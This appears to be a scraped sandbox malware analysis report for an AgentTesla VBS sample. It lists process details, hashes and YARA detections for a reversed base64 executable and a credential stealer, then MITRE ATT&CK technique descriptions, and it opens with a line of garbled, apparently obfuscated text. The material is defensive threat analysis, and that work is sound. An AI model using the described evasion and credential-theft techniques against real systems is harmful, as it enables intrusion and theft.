??v?}??s4??#:?!}( }il(+ (up4??#:?4}? ?m. ??v?}??n8??(r8??(girf8??(rkroy4??#:?4??#:??? }??+?sp ??v?}?? ??v?}???(??@?'))
Imagebase:	0x7ff7fbaf0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_Reversed_Base64_Encoded_EXE, Description: Detects an base64 encoded executable with reversed characters, Source: 00000001.00000002.317073094.0000028B41F4C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: SUSP_Reversed_Base64_Encoded_EXE, Description: Detects an base64 encoded executable with reversed characters, Source: 00000001.00000002.311807350.0000028B3235B000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: SUSP_Reversed_Base64_Encoded_EXE, Description: Detects an base64 encoded executable with reversed characters, Source: 00000001.00000002.311807350.0000028B3235F000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: SUSP_Reversed_Base64_Encoded_EXE, Description: Detects an base64 encoded executable with reversed characters, Source: 00000001.00000002.317073094.0000028B41FAD000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems)
Reputation:	high

Analysis Process: conhost.exePID: 5988, Parent PID: 6008

General

Target ID:	2
Start time:	11:39:10
Start date:	20/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: RegSvcs.exePID: 1236, Parent PID: 6008

General

Target ID:	3
Start time:	11:39:14
Start date:	20/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x7d0000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GJ890-1286.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilbo13zy.j2f.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xv2hgkd3.00w.psm1

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Statistics

Windows Analysis Report
GJ890-1286.vbs

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre